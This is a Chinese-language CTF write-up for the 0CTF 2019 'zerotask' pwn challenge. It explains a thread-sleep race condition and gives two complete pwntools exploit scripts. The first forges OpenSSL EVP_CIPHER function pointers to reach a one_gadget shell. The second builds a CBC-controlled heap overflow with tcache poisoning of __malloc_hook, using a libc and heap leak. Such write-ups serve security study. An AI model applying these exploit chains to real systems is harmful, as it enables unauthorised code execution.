0ctf2019-zerotask题解

0ctf2019-zerotask题解

周末打了0ctf,队里的师傅们一共做出来3道pwn。感觉这几道题都需要记录一下,而且好久都没有更新博客了,借着这次机会更新一下。

本片介绍的是zerotask,这题比赛的过程中发现了两种解法,赛后调了另一种解法,感觉挺有意思。

程序功能分析

查看程序提供的菜单,可以知道程序提供了三种功能,分别是添加task、删除task以及运行task

1
2
3
4
5
6
7
int menu()
{
puts("1. Add task");
puts("2. Delete task");
puts("3. Go");
return printf("Choice: ");
}

通过分析,得到了程序中使用的结构体,命名为task:

1
2
3
4
5
6
7
8
9
10
11
12
13
00000000 task            struc ; (sizeof=0x70, mappedto_4)
00000000 data_ptr dq ?
00000008 data_size dq ?
00000010 flag dd ?
00000014 key db 32 dup(?)
00000034 iv db 16 dup(?)
00000044 field_44 dq ?
0000004C field_4C dq ?
00000054 field_54 dd ?
00000058 EVP_CIPHER_CTX_ptr dq ?
00000060 id dq ?
00000068 nextptr dq ?
00000070 task ends

简要的对结构体中的字段进行一下介绍:

  • data_ptr字段指向一块堆上的内存,表示待加密或待解密的数据
  • data_size表示数据的大小
  • flag表示是加密还是解密
  • keyiv分别表示密钥和iv向量
  • EVP_CIPHER_CTX_ptr为用来进行加解密的上下文的一个指针
  • id为task结构体的标识
  • nextptr指向下一个task结构体,结构体之间通过链表连接起来

程序功能简介:

  1. 添加任务功能,程序首先分配一块0x70大小的内存用来存放task结构体,接着让用户输入key、iv以及data等信息,并完成加解密上下文的初始化。这里的输入数据功能比较特别,如果输入的内容没有达到要求的长度,程序会一直等待输入
  2. 删除任务功能,根据用户输入task的id来确定删除哪一个任务,遍历任务链表来查找并free掉相关内存
  3. 运行任务功能,该功能会启动一个线程来执行,根据结构体中的内容来进行加解密操作,一共有三次执行该操作的机会

程序漏洞

程序的漏洞在于:启动线程来执行任务时,在最开始处sleep了2秒,接着进行正常的加解密操作。因为是启动的线程,导致主线程的运行仍然不受影响,这样通过适当的利用可以控制task结构体的内容,进而劫持程序的运行

利用方式一——劫持EVP_CIPHER_CTX_ptr指针实现利用

信息泄露

首先需要进行信息泄露,题中申请的堆块大小只要在0x1000以内都可以,同时2.27版本的libc中是存在tcache的。信息泄露的方式如下:

  • 申请两个大小不在tcache范围内的chunk如大小为0x410
  • 把其中一个chunk送到加密函数(go)处进行加密
  • 在加密的过程中,利用条件竞争,释放掉这两个chunk(task)。由于大小不在tcache范围内,它们会被放入到unsorted bin中,同时由于unsorted bin的双链表机制,main_arenaheap地址会写入到chunk的fd和bk字段中
  • 再次申请task,存放数据的chunk大小为0x410,这时由于读入数据函数的特殊性(如果输入内容没达到指定长度,会一直等待用户的输入),我们等到加密完成后在输入数据,这样加密线程就是对main_arenaheap地址进行的加密了
  • 对加密的结果利用同样的keyiv解密即可得到libcheap的地址

劫持程序流程

task结构体里面存放着EVP_CIPHER_CTX_ptr这样一个指针,该指针指向的结构体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
struct evp_cipher_ctx_st {
//cipher字段指向了另外一个结构体
const EVP_CIPHER *cipher;
ENGINE *engine; /* functional reference if 'cipher' is
* ENGINE-provided */
int encrypt; /* encrypt or decrypt */
int buf_len; /* number we have left */
unsigned char oiv[EVP_MAX_IV_LENGTH]; /* original iv */
unsigned char iv[EVP_MAX_IV_LENGTH]; /* working iv */
unsigned char buf[EVP_MAX_BLOCK_LENGTH]; /* saved partial block */
int num; /* used by cfb/ofb/ctr mode */
/* FIXME: Should this even exist? It appears unused */
void *app_data; /* application stuff */
int key_len; /* May change for variable length cipher */
unsigned long flags; /* Various flags */
void *cipher_data; /* per EVP data */
int final_used;
int block_mask;
unsigned char final[EVP_MAX_BLOCK_LENGTH]; /* possible final block */
} /* EVP_CIPHER_CTX */ ;

在内存中对应的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/30xg 0x55555575b580
0x55555575b580: 0x0000000000000000 0x00000000000000b1
0x55555575b590: 0x00007ffff7b98620 0x0000000000000000
0x55555575b5a0: 0x0000000000000001 0x3131313131313131
0x55555575b5b0: 0x3131313131313131 0x3131313131313131
0x55555575b5c0: 0x3131313131313131 0x0000000000000000
0x55555575b5d0: 0x0000000000000000 0x0000000000000000
0x55555575b5e0: 0x0000000000000000 0x0000000000000000
0x55555575b5f0: 0x0000000000000000 0x0000000000000020
0x55555575b600: 0x0000000000000000 0x000055555575b640
0x55555575b610: 0x0000000f00000000 0x0000000000000000
0x55555575b620: 0x0000000000000000 0x0000000000000000

结构体的第一个字段指向的仍然是一个结构体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct evp_cipher_st {
int nid;
int block_size;
/* Default value for variable length ciphers */
int key_len;
int iv_len;
/* Various flags */
unsigned long flags;
/* init key */
//------------------------->需要劫持的函数指针,这里是初始化函数
int (*init) (EVP_CIPHER_CTX *ctx, const unsigned char *key,
const unsigned char *iv, int enc);
/* encrypt/decrypt data */
//------------------------->需要劫持的函数指针,这里是加解密的函数
int (*do_cipher) (EVP_CIPHER_CTX *ctx, unsigned char *out,
const unsigned char *in, size_t inl);
/* cleanup ctx */
int (*cleanup) (EVP_CIPHER_CTX *);
/* how big ctx->cipher_data needs to be */
int ctx_size;
/* Populate a ASN1_TYPE with parameters */
int (*set_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *);
/* Get parameters from a ASN1_TYPE */
int (*get_asn1_parameters) (EVP_CIPHER_CTX *, ASN1_TYPE *);
/* Miscellaneous operations */
int (*ctrl) (EVP_CIPHER_CTX *, int type, int arg, void *ptr);
/* Application data */
void *app_data;
} /* EVP_CIPHER */ ;

在内存中对应的内容大致如下:

1
2
3
4
5
6
7
pwndbg> x/20xg 0x00007ffff7b98620
0x7ffff7b98620: 0x00000010000001ab 0x0000001000000020
0x7ffff7b98630: 0x0000000000001002 0x00007ffff78967e0
0x7ffff7b98640: 0x00007ffff78967b0 0x0000000000000000
0x7ffff7b98650: 0x0000000000000108 0x0000000000000000
0x7ffff7b98660: 0x0000000000000000 0x0000000000000000
0x7ffff7b98670: 0x0000000000000000 0x0000000000000000

观察到该结构体中有多个指向函数的虚表指针,所以利用的思路就是自己伪造上述的两个结构体,将evp_cipher_st结构体中的指针指向one_gadget即可getshell。伪造起来也很容易,我们可以完全控制的就是加解密数据的内容,而且知道了堆地址,只需要修改指针指向我们伪造的这两个结构体即可。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
from pwn import *
from Crypto.Cipher import AES

def decrypt(key,iv,cipher):
cp = AES.new(key,AES.MODE_CBC, iv)
return cp.decrypt(cipher)

def encrypt(key,iv,plain):
cp = AES.new(key,AES.MODE_CBC, iv)
return cp.encrypt(plain)

def add(task_id,flag,key,iv,size,data):
p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", str(task_id))
p.sendlineafter("Encrypt(1) / Decrypt(2): ", str(flag))
p.sendafter("Key : ",key)
p.sendafter("IV : ", iv)
p.sendlineafter("Data Size : ", str(size))
p.sendafter("Data : ", data)

def delete(task_id):
p.sendlineafter("Choice: ", "2")
p.sendlineafter("Task id : ", str(task_id))

ATTACH=0
DEBUG = 1
if DEBUG:
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./task")
else:
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
p = remote('111.186.63.201',10001)

# 这里是加解密用的key和iv向量
key = "\x00"*0x20
iv = "\x00"*0x10
#context.log_level="debug"
# 进行信息泄露
add(10,1, key, iv, 0x30, "x"*0x30)
add(0, 1, key, iv, 0x410, "x"*0x410)
add(1, 1, key, iv, 0x10, "y"*0x10)
add(2, 1, key, iv, 0x410, "x"*0x410)
add(3, 1, key, iv, 0x10, "y"*0x10)

p.sendlineafter("Choice: ", "3")
p.sendlineafter("Task id : ", "0")

if ATTACH==1:
gdb.attach(p,'''
''')

delete(0)
delete(2)
add(2, 1, key, iv, 0x500, "c"*0x500)

p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", "1")
p.sendlineafter("Encrypt(1) / Decrypt(2): ", "1")
p.sendafter("Key : ", key)
p.sendafter("IV : ", iv)
p.sendlineafter("Data Size : ", str(0x410))

p.recvuntil("Ciphertext: \n")
x = p.recv(49*10)
cipher = x.replace(" ","").replace("\n","")
# 对加密的结果解密即可得到泄露的地址
libc_addr = u64(decrypt(key, iv, cipher.decode("hex"))[0:8].ljust(8,"\x00"))
heap_addr = u64(decrypt(key, iv, cipher.decode("hex"))[8:16].ljust(8,"\x00"))
libc_base = libc_addr-0x3ec090
system_addr = libc_base+libc.symbols['system']

print(hex(libc_addr))
print(hex(heap_addr))
print(hex(libc_base))
p.send('a'*0x410)

# 0x55f1b229b4b0
# 0x55f1b229cfb0---->0x1000

add(4, 1, key, iv, 0x10, "y"*0x10)
add(5, 1, key, iv, 0x10, "x"*0x10)
add(6, 1, key, iv, 0x10, '/bin/sh\x00'.ljust(0x10,'\x00'))
# 我们构造的结构体,其中含有虚表指针,让其指向one_gadget
one_gadget = libc_base+0x10a38c
fake_evp_cipher = p64(0x00000010000001ab)+p64(0x0000001000000020)+p64(0x0000000000001002)
fake_evp_cipher += p64(one_gadget)*2
fake_evp_cipher += p64(0)+p64(0x108)
fake_evp_cipher = fake_evp_cipher.ljust(0xc0,'\x00')
# 也是我们构造的结构体,控制其第一个字段,指向含有虚表指针的结构体
add(7, 1, key, iv, 0xc0, p64(heap_addr+(0x5649bd419540-0x5649bd417730+0x10)).ljust(0xc0,'\x00'))
add(8, 1, key, iv, 0xc0, fake_evp_cipher)

p.sendlineafter("Choice: ", "3")
p.sendlineafter("Task id : ", "4")
delete(4)
delete(5)

# if ATTACH==1:
# gdb.attach(p,'''
# ''')
p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", "4")
p.sendlineafter("Encrypt(1) / Decrypt(2): ", "1")
p.sendafter("Key : ", key)
p.sendafter("IV : ", iv)
p.sendlineafter("Data Size : ", str(0x70))
# p.send(p64(heap_addr+(0x55f1b229cfb0-0x55f1b229b4b0)+0x10))
fake_task = p64(heap_addr+(0x55843b4a3af0-0x55843b4a3730))
fake_task += p64(0x10)
fake_task += p32(1)+key+iv
fake_task += p32(0)+p64(0)*2
fake_task += p64(heap_addr+(0x55843b4a5240-0x55843b4a3730))
p.send(fake_task)

p.interactive()

# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

利用方式二——利用加密功能溢出配合tcache攻击getshell

这个思路是我最开始想到的思路,当时尝试了一下感觉有点麻烦,赛后把这种方法也调了一遍。

首先信息泄露的方式和利用方式一是一致的,关键在于如何控制程序的流程。

题目给出的libc是2.27版本,该版本可以放心的利用tcache。

程序在最开始的时候分配了一大块的内存(0x1010),该部分内存用来存放加解密得到的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void *init_func()
{
void *result; // rax

signal(14, (__sighandler_t)handler);
alarm(0x20u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
//在这里分配的内存
qword_202030 = malloc(0x1010uLL);
result = qword_202030;
if ( !qword_202030 )
exit(1);
return result;
}

加解密函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
void __fastcall __noreturn start_routine(void *a1)
{
int v1; // [rsp+14h] [rbp-2Ch]
__int128 v2; // [rsp+18h] [rbp-28h]
__int64 v3; // [rsp+28h] [rbp-18h]
__int64 v4; // [rsp+30h] [rbp-10h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
v2 = (unsigned __int64)a1;
v1 = 0;
v3 = 0LL;
v4 = 0LL;
puts("Prepare...");
sleep(2u);
memset(qword_202030, 0, 0x1010uLL);
//函数的最后一个参数为task结构体中的data_size字段,表示待加密数据的大小
//第四个参数为task结构体中的data_ptr字段,指向待加密的数据
//第二个参数为分配的0x1010大小的内存,用来存放加解密结果
if ( !(unsigned int)EVP_CipherUpdate(
*(_QWORD *)(v2 + 0x58),
qword_202030,
&v1,
*(_QWORD *)v2,
(unsigned int)*(_QWORD *)(v2 + 8)) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
if ( !(unsigned int)EVP_CipherFinal_ex(*(_QWORD *)(v2 + 0x58), (char *)qword_202030 + *((_QWORD *)&v2 + 1), &v1) )
pthread_exit(0LL);
*((_QWORD *)&v2 + 1) += v1;
puts("Ciphertext: ");
//这里根据第三个参数来决定输出加密内容的长度,第二个参数就是之前分配的用来存放加解密结果的内存
printCipher(stdout, (__int64)qword_202030, *((unsigned __int64 *)&v2 + 1), 0x10uLL, 1uLL);
pthread_exit(0LL);
}

那么,利用的思路就来了,既然已经可以做到控制task结构体的内容,那么我们完全可以控制data_ptr为我们构造好的一块数据,而且程序是根据data_size来确定数据大小的,如果我们把这个值设置的大于0x1010会怎样??这不就是溢出了嘛,加密后的结果便会覆盖到下一个chunk。

还有一个问题,如何控制加密的结果为我们想要的值?
注意到这里采用的是aes-256-cbc模式来加密,cbc模式表示前一个数据块(0x10大小)加密得到的结果用于后一个块的iv向量,那么我们只要知道了0x1010大小的数据内容,对其进行加密,取后16字节数据,就得到了下一个加密块的iv向量,记为next_iv。为了让下一个块加密后的结果为我们指定的值比如p64(0xdeadbeef)+p64(0),我们只需要用同样的key以及next_ivp64(0xdeadbeef)+p64(0)进行解密,即可得到我们想要的数据,该数据经加密后得到的结果就是我们想要的结果。

现在可以通过溢出来控制下一个chunk的内容了,结合tcache的利用方式。先通过释放,把下一个chunk放入tcache中,在通过溢出修改下一个chunk的fd字段指向__malloc_hook附近的地址,申请两次就可以拿到__malloc_hook附近的内存了,修改__malloc_hookone_gadget即可getshell

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *
from Crypto.Cipher import AES
import time

def decrypt(key,iv,cipher):
cp = AES.new(key,AES.MODE_CBC, iv)
return cp.decrypt(cipher)

def encrypt(key,iv,plain):
cp = AES.new(key,AES.MODE_CBC, iv)
return cp.encrypt(plain)

def add(task_id,flag,key,iv,size,data):
p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", str(task_id))
p.sendlineafter("Encrypt(1) / Decrypt(2): ", str(flag))
p.sendafter("Key : ",key)
p.sendafter("IV : ", iv)
p.sendlineafter("Data Size : ", str(size))
p.sendafter("Data : ", data)

def delete(task_id):
p.sendlineafter("Choice: ", "2")
p.sendlineafter("Task id : ", str(task_id))

ATTACH=0
DEBUG = 1
if DEBUG:
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process("./task")
else:
context.log_level = 'debug'
libc = ELF('./libc-2.27.so')
p = remote('111.186.63.201',10001)


key = "1"*0x20
iv = "1"*0x10
#context.log_level="debug"

# leak libc and heap addr
add(10,1, key, iv, 0x30, "x"*0x30)
add(0, 1, key, iv, 0x410, "x"*0x410)
add(1, 1, key, iv, 0x10, "y"*0x10)
add(2, 1, key, iv, 0x410, "x"*0x410)
add(3, 1, key, iv, 0x10, "y"*0x10)

p.sendlineafter("Choice: ", "3")
p.sendlineafter("Task id : ", "0")

delete(0)
delete(2)
add(2, 1, key, iv, 0x500, "c"*0x500)

p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", "1")
p.sendlineafter("Encrypt(1) / Decrypt(2): ", "1")
p.sendafter("Key : ", key)
p.sendafter("IV : ", iv)
p.sendlineafter("Data Size : ", str(0x410))

p.recvuntil("Ciphertext: \n")
x = p.recv(49*10)
cipher = x.replace(" ","").replace("\n","")

libc_addr = u64(decrypt(key, iv, cipher.decode("hex"))[0:8].ljust(8,"\x00"))
heap_addr = u64(decrypt(key, iv, cipher.decode("hex"))[8:16].ljust(8,"\x00"))
libc_base = libc_addr-0x3ec090
system_addr = libc_base+libc.symbols['system']

print(hex(libc_addr))
print(hex(heap_addr))
print(hex(libc_base))
p.send('a'*0x410)

# generate next_cipher, witch encrypt(key,iv,plaintext+next_cipher)[-16:]==>p64(fake_fd)+p64(0)
fake_fd = libc_base+libc.symbols['__malloc_hook']-0x60
plaintext = 'a'*0x1000+p64(0)+p64(0x81)
next_iv = encrypt(key,iv,plaintext)[-16:]
next_cipher = decrypt(key,next_iv,p64(0)+p64(0x81))
next_iv_1 = p64(0)+p64(0x81)
next_cipher += decrypt(key,next_iv_1,p64(fake_fd)+p64(0))
next_plaintext = encrypt(key,iv,plaintext+next_cipher)[-32:]

print(''.join((r'\x%2x'%ord(c)for c in next_iv)))
print(''.join((r'\x%2x'%ord(c)for c in next_cipher)))
print(''.join((r'\x%2x'%ord(c)for c in next_plaintext)))


add(4,1,key,iv,0x30,'a'*0x30)
add(5,1,key,iv,0x30,'a'*0x30)
add(6,1,key,iv,0x1000,'a'*0x1000)
add(7,1,key,iv,0x30,'a'*0x30)
add(8,1,key,iv,0x30,'a'*0x30)
add(9,1,key,iv,0x30,'a'*0x30)

# put chunk to tcache
delete(10)

# modify task 7's memory to next_cipher, make encrypt result to overwrite tcache's fd field
delete(7)
delete(8)
payload = next_cipher
payload = payload.ljust(0x70,'\x00')
add(8,1,key,iv,0x70,payload)

p.sendlineafter("Choice: ", "3")
p.sendlineafter("Task id : ", "4")

delete(4)
delete(5)
fake_task = p64(heap_addr+(0x555555759ff0-0x555555758730+0x10))
fake_task += p64(0x1000+0x30)
fake_task += p32(1)+key+iv
fake_task += p32(0)+p64(0)*2
fake_task += p64(heap_addr+(0x555555759e30-0x555555758730+0x10))
p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", "4")
p.sendlineafter("Encrypt(1) / Decrypt(2): ", "1")
p.sendafter("Key : ", key)
p.sendafter("IV : ", iv)
p.sendlineafter("Data Size : ", str(0x70))
p.recvuntil('Data : ')
p.send(fake_task)

time.sleep(2)
p.send('a'*(0x70-len(fake_task)))

if ATTACH==1:
gdb.attach(p,'''
b *0x555555554000+0x1731
b *0x555555554000+0x1498
b *0x555555554000+0x13be
''')

# # __free_hook
# # payload = p64(libc_base+libc.symbols['system'])
# payload = p64(libc_base+0x10a38c)
# add(10,1,key,iv,0x70,payload.ljust(0x70,'\x00'))
# delete(10)

# __malloc_hook
payload = '\x00'*0x60+p64(libc_base+0x10a38c)
payload = payload.ljust(0x70,'\x00')
add(10,1,key,iv,0x70,payload)
p.sendlineafter("Choice: ", "1")
p.sendlineafter("Task id : ", "1")
p.sendlineafter("Encrypt(1) / Decrypt(2): ", "1")


p.interactive()

# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

最后附上题目的下载链接:

链接:https://pan.baidu.com/s/1VQShtF_PQ-iJrcOjdGBysg
提取码:3os6